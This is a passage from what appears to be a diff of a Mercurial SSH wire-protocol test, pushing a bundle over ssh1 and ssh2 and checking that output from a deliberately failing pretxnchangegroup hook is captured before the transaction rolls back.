688 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
689 i> \x00\x00\x00\x00\x00\x00\x00\x00
689 i> \x00\x00\x00\x00\x00\x00\x00\x00
690 i> write(2) -> None:
690 i> write(2) -> 2:
691 i> 0\n
691 i> 0\n
692 i> flush() -> None
692 i> flush() -> None
693 o> readline() -> 2:
693 o> readline() -> 2:
694 o> 0\n
694 o> 0\n
695 o> readline() -> 2:
695 o> readline() -> 2:
696 o> 1\n
696 o> 1\n
697 o> read(1) -> 1: 0
697 o> read(1) -> 1: 0
698 result: 0
698 result: 0
699 remote output:
699 remote output:
700 e> read(-1) -> 206:
700 e> read(-1) -> 206:
701 e> adding changesets\n
701 e> adding changesets\n
702 e> adding manifests\n
702 e> adding manifests\n
703 e> adding file changes\n
703 e> adding file changes\n
704 e> added 1 changesets with 1 changes to 1 files\n
704 e> added 1 changesets with 1 changes to 1 files\n
705 e> ui.write 1st\n
705 e> ui.write 1st\n
706 e> ui.write 2nd\n
706 e> ui.write 2nd\n
707 e> transaction abort!\n
707 e> transaction abort!\n
708 e> rollback completed\n
708 e> rollback completed\n
709 e> abort: pretxnchangegroup.fail hook failed\n
709 e> abort: pretxnchangegroup.fail hook failed\n
710
710
711 ui.write() + ui.write_err() output is captured
711 ui.write() + ui.write_err() output is captured
712
712
713 $ cat > .hg/hgrc << EOF
713 $ cat > .hg/hgrc << EOF
714 > [hooks]
714 > [hooks]
715 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookwriteandwriteerr
715 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookwriteandwriteerr
716 > EOF
716 > EOF
717
717
718 $ debugwireproto << EOF
718 $ debugwireproto << EOF
719 > command unbundle
719 > command unbundle
720 > # This is "force" in hex.
720 > # This is "force" in hex.
721 > heads 666f726365
721 > heads 666f726365
722 > PUSHFILE ../initial.v1.hg
722 > PUSHFILE ../initial.v1.hg
723 > readavailable
723 > readavailable
724 > EOF
724 > EOF
725 testing ssh1
725 testing ssh1
726 creating ssh peer from handshake results
726 creating ssh peer from handshake results
727 i> write(104) -> None:
727 i> write(104) -> 104:
728 i> hello\n
728 i> hello\n
729 i> between\n
729 i> between\n
730 i> pairs 81\n
730 i> pairs 81\n
731 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
731 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
732 i> flush() -> None
732 i> flush() -> None
733 o> readline() -> 4:
733 o> readline() -> 4:
734 o> 384\n
734 o> 384\n
735 o> readline() -> 384:
735 o> readline() -> 384:
736 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
736 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
737 o> readline() -> 2:
737 o> readline() -> 2:
738 o> 1\n
738 o> 1\n
739 o> readline() -> 1:
739 o> readline() -> 1:
740 o> \n
740 o> \n
741 sending unbundle command
741 sending unbundle command
742 i> write(9) -> None:
742 i> write(9) -> 9:
743 i> unbundle\n
743 i> unbundle\n
744 i> write(9) -> None:
744 i> write(9) -> 9:
745 i> heads 10\n
745 i> heads 10\n
746 i> write(10) -> None: 666f726365
746 i> write(10) -> 10: 666f726365
747 i> flush() -> None
747 i> flush() -> None
748 o> readline() -> 2:
748 o> readline() -> 2:
749 o> 0\n
749 o> 0\n
750 i> write(4) -> None:
750 i> write(4) -> 4:
751 i> 426\n
751 i> 426\n
752 i> write(426) -> None:
752 i> write(426) -> 426:
753 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
753 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
754 i> test\n
754 i> test\n
755 i> 0 0\n
755 i> 0 0\n
756 i> foo\n
756 i> foo\n
757 i> \n
757 i> \n
758 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
758 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
759 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
759 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
760 i> \x00\x00\x00\x00\x00\x00\x00\x00
760 i> \x00\x00\x00\x00\x00\x00\x00\x00
761 i> write(2) -> None:
761 i> write(2) -> 2:
762 i> 0\n
762 i> 0\n
763 i> flush() -> None
763 i> flush() -> None
764 o> readline() -> 2:
764 o> readline() -> 2:
765 o> 0\n
765 o> 0\n
766 o> readline() -> 2:
766 o> readline() -> 2:
767 o> 1\n
767 o> 1\n
768 o> read(1) -> 1: 0
768 o> read(1) -> 1: 0
769 result: 0
769 result: 0
770 remote output:
770 remote output:
771 e> read(-1) -> 232:
771 e> read(-1) -> 232:
772 e> adding changesets\n
772 e> adding changesets\n
773 e> adding manifests\n
773 e> adding manifests\n
774 e> adding file changes\n
774 e> adding file changes\n
775 e> added 1 changesets with 1 changes to 1 files\n
775 e> added 1 changesets with 1 changes to 1 files\n
776 e> ui.write 1\n
776 e> ui.write 1\n
777 e> ui.write_err 1\n
777 e> ui.write_err 1\n
778 e> ui.write 2\n
778 e> ui.write 2\n
779 e> ui.write_err 2\n
779 e> ui.write_err 2\n
780 e> transaction abort!\n
780 e> transaction abort!\n
781 e> rollback completed\n
781 e> rollback completed\n
782 e> abort: pretxnchangegroup.fail hook failed\n
782 e> abort: pretxnchangegroup.fail hook failed\n
783
783
784 testing ssh2
784 testing ssh2
785 creating ssh peer from handshake results
785 creating ssh peer from handshake results
786 i> write(171) -> None:
786 i> write(171) -> 171:
787 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
787 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
788 i> hello\n
788 i> hello\n
789 i> between\n
789 i> between\n
790 i> pairs 81\n
790 i> pairs 81\n
791 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
791 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
792 i> flush() -> None
792 i> flush() -> None
793 o> readline() -> 62:
793 o> readline() -> 62:
794 o> upgraded * exp-ssh-v2-0001\n (glob)
794 o> upgraded * exp-ssh-v2-0001\n (glob)
795 o> readline() -> 4:
795 o> readline() -> 4:
796 o> 383\n
796 o> 383\n
797 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
797 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
798 o> read(1) -> 1:
798 o> read(1) -> 1:
799 o> \n
799 o> \n
800 sending unbundle command
800 sending unbundle command
801 i> write(9) -> None:
801 i> write(9) -> 9:
802 i> unbundle\n
802 i> unbundle\n
803 i> write(9) -> None:
803 i> write(9) -> 9:
804 i> heads 10\n
804 i> heads 10\n
805 i> write(10) -> None: 666f726365
805 i> write(10) -> 10: 666f726365
806 i> flush() -> None
806 i> flush() -> None
807 o> readline() -> 2:
807 o> readline() -> 2:
808 o> 0\n
808 o> 0\n
809 i> write(4) -> None:
809 i> write(4) -> 4:
810 i> 426\n
810 i> 426\n
811 i> write(426) -> None:
811 i> write(426) -> 426:
812 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
812 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
813 i> test\n
813 i> test\n
814 i> 0 0\n
814 i> 0 0\n
815 i> foo\n
815 i> foo\n
816 i> \n
816 i> \n
817 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
817 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
818 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
818 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
819 i> \x00\x00\x00\x00\x00\x00\x00\x00
819 i> \x00\x00\x00\x00\x00\x00\x00\x00
820 i> write(2) -> None:
820 i> write(2) -> 2:
821 i> 0\n
821 i> 0\n
822 i> flush() -> None
822 i> flush() -> None
823 o> readline() -> 2:
823 o> readline() -> 2:
824 o> 0\n
824 o> 0\n
825 o> readline() -> 2:
825 o> readline() -> 2:
826 o> 1\n
826 o> 1\n
827 o> read(1) -> 1: 0
827 o> read(1) -> 1: 0
828 result: 0
828 result: 0
829 remote output:
829 remote output:
830 e> read(-1) -> 232:
830 e> read(-1) -> 232:
831 e> adding changesets\n
831 e> adding changesets\n
832 e> adding manifests\n
832 e> adding manifests\n
833 e> adding file changes\n
833 e> adding file changes\n
834 e> added 1 changesets with 1 changes to 1 files\n
834 e> added 1 changesets with 1 changes to 1 files\n
835 e> ui.write 1\n
835 e> ui.write 1\n
836 e> ui.write_err 1\n
836 e> ui.write_err 1\n
837 e> ui.write 2\n
837 e> ui.write 2\n
838 e> ui.write_err 2\n
838 e> ui.write_err 2\n
839 e> transaction abort!\n
839 e> transaction abort!\n
840 e> rollback completed\n
840 e> rollback completed\n
841 e> abort: pretxnchangegroup.fail hook failed\n
841 e> abort: pretxnchangegroup.fail hook failed\n
842
842
843 print() output is captured
843 print() output is captured
844
844
845 $ cat > .hg/hgrc << EOF
845 $ cat > .hg/hgrc << EOF
846 > [hooks]
846 > [hooks]
847 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstdout
847 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstdout
848 > EOF
848 > EOF
849
849
850 $ debugwireproto << EOF
850 $ debugwireproto << EOF
851 > command unbundle
851 > command unbundle
852 > # This is "force" in hex.
852 > # This is "force" in hex.
853 > heads 666f726365
853 > heads 666f726365
854 > PUSHFILE ../initial.v1.hg
854 > PUSHFILE ../initial.v1.hg
855 > readavailable
855 > readavailable
856 > EOF
856 > EOF
857 testing ssh1
857 testing ssh1
858 creating ssh peer from handshake results
858 creating ssh peer from handshake results
859 i> write(104) -> None:
859 i> write(104) -> 104:
860 i> hello\n
860 i> hello\n
861 i> between\n
861 i> between\n
862 i> pairs 81\n
862 i> pairs 81\n
863 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
863 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
864 i> flush() -> None
864 i> flush() -> None
865 o> readline() -> 4:
865 o> readline() -> 4:
866 o> 384\n
866 o> 384\n
867 o> readline() -> 384:
867 o> readline() -> 384:
868 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
868 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
869 o> readline() -> 2:
869 o> readline() -> 2:
870 o> 1\n
870 o> 1\n
871 o> readline() -> 1:
871 o> readline() -> 1:
872 o> \n
872 o> \n
873 sending unbundle command
873 sending unbundle command
874 i> write(9) -> None:
874 i> write(9) -> 9:
875 i> unbundle\n
875 i> unbundle\n
876 i> write(9) -> None:
876 i> write(9) -> 9:
877 i> heads 10\n
877 i> heads 10\n
878 i> write(10) -> None: 666f726365
878 i> write(10) -> 10: 666f726365
879 i> flush() -> None
879 i> flush() -> None
880 o> readline() -> 2:
880 o> readline() -> 2:
881 o> 0\n
881 o> 0\n
882 i> write(4) -> None:
882 i> write(4) -> 4:
883 i> 426\n
883 i> 426\n
884 i> write(426) -> None:
884 i> write(426) -> 426:
885 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
885 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
886 i> test\n
886 i> test\n
887 i> 0 0\n
887 i> 0 0\n
888 i> foo\n
888 i> foo\n
889 i> \n
889 i> \n
890 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
890 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
891 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
891 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
892 i> \x00\x00\x00\x00\x00\x00\x00\x00
892 i> \x00\x00\x00\x00\x00\x00\x00\x00
893 i> write(2) -> None:
893 i> write(2) -> 2:
894 i> 0\n
894 i> 0\n
895 i> flush() -> None
895 i> flush() -> None
896 o> readline() -> 2:
896 o> readline() -> 2:
897 o> 0\n
897 o> 0\n
898 o> readline() -> 2:
898 o> readline() -> 2:
899 o> 1\n
899 o> 1\n
900 o> read(1) -> 1: 0
900 o> read(1) -> 1: 0
901 result: 0
901 result: 0
902 remote output:
902 remote output:
903 e> read(-1) -> 193:
903 e> read(-1) -> 193:
904 e> adding changesets\n
904 e> adding changesets\n
905 e> adding manifests\n
905 e> adding manifests\n
906 e> adding file changes\n
906 e> adding file changes\n
907 e> added 1 changesets with 1 changes to 1 files\n
907 e> added 1 changesets with 1 changes to 1 files\n
908 e> printed line\n
908 e> printed line\n
909 e> transaction abort!\n
909 e> transaction abort!\n
910 e> rollback completed\n
910 e> rollback completed\n
911 e> abort: pretxnchangegroup.fail hook failed\n
911 e> abort: pretxnchangegroup.fail hook failed\n
912
912
913 testing ssh2
913 testing ssh2
914 creating ssh peer from handshake results
914 creating ssh peer from handshake results
915 i> write(171) -> None:
915 i> write(171) -> 171:
916 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
916 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
917 i> hello\n
917 i> hello\n
918 i> between\n
918 i> between\n
919 i> pairs 81\n
919 i> pairs 81\n
920 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
920 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
921 i> flush() -> None
921 i> flush() -> None
922 o> readline() -> 62:
922 o> readline() -> 62:
923 o> upgraded * exp-ssh-v2-0001\n (glob)
923 o> upgraded * exp-ssh-v2-0001\n (glob)
924 o> readline() -> 4:
924 o> readline() -> 4:
925 o> 383\n
925 o> 383\n
926 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
926 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
927 o> read(1) -> 1:
927 o> read(1) -> 1:
928 o> \n
928 o> \n
929 sending unbundle command
929 sending unbundle command
930 i> write(9) -> None:
930 i> write(9) -> 9:
931 i> unbundle\n
931 i> unbundle\n
932 i> write(9) -> None:
932 i> write(9) -> 9:
933 i> heads 10\n
933 i> heads 10\n
934 i> write(10) -> None: 666f726365
934 i> write(10) -> 10: 666f726365
935 i> flush() -> None
935 i> flush() -> None
936 o> readline() -> 2:
936 o> readline() -> 2:
937 o> 0\n
937 o> 0\n
938 i> write(4) -> None:
938 i> write(4) -> 4:
939 i> 426\n
939 i> 426\n
940 i> write(426) -> None:
940 i> write(426) -> 426:
941 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
941 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
942 i> test\n
942 i> test\n
943 i> 0 0\n
943 i> 0 0\n
944 i> foo\n
944 i> foo\n
945 i> \n
945 i> \n
946 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
946 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
947 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
947 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
948 i> \x00\x00\x00\x00\x00\x00\x00\x00
948 i> \x00\x00\x00\x00\x00\x00\x00\x00
949 i> write(2) -> None:
949 i> write(2) -> 2:
950 i> 0\n
950 i> 0\n
951 i> flush() -> None
951 i> flush() -> None
952 o> readline() -> 2:
952 o> readline() -> 2:
953 o> 0\n
953 o> 0\n
954 o> readline() -> 2:
954 o> readline() -> 2:
955 o> 1\n
955 o> 1\n
